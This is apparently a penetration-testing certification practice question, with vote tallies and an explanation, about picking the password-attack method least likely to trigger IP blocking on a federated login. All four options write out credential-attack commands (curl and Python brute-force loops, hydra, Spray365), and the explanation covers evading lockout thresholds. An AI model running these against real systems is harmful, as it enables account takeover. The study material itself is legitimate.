A penetration tester is evaluating the security of a corporate client's web application using federated access. Which of the following approaches has the least possibility of blocking the IP address…

Question

Exhibits

Options

• Afor user in $(cat users.txt); do for pass in $(cat /usr/share/wordlists/rockyou.txt); do curl -X POST https://example.com/login.asp -d"username=$user&password=$pass" |grep "Welcome" && echo "OK! $user $pass" done; done
• Bspray365.py generate --password_file passwords.txt --user_file users.txt --domain example.com --delay 1 --connection_plan target.plan spray365.py spray target.plan
• Cimport requests,pathlib users=pathlib.Path("users.txt").read_text() ; passwords=pathlib.Path("passwords.txt").read_text() for user in users: for pass in passwords: r=requests.post(f"https://example.com",data=f"username={user}&password={pass}",headers={"user-agent":"Mozilla/4.0"}) if "Welcome" in r.text: print(f"OK: {user} {pass}")
• Dhydra -l users.txt -P /usr/share/wordlists/rockyou.txt <domain_ip> http-post-form "/login.asp:username=^USER^&password=^PASS^:Invalid Password"

• A
  6% (1)
• B
  76% (13)
• C
  6% (1)
• D
  12% (2)

Explanation

Option B uses Spray365, a tool specifically designed for Microsoft 365 / federated identity environments that performs password spraying with intelligent delays, connection plans, and the ability to distribute requests across multiple endpoints or time windows - significantly reducing the chance of IP blocking. The '--delay' flag and the pre-generated 'connection plan' allow the tester to control the rate and pattern of authentication attempts, mimicking legitimate traffic and staying below lockout/block thresholds. This is purpose-built for federated access (e.g., Azure AD / Office 365) where traditional brute-force tools are poorly suited.

No community discussion yet for this question.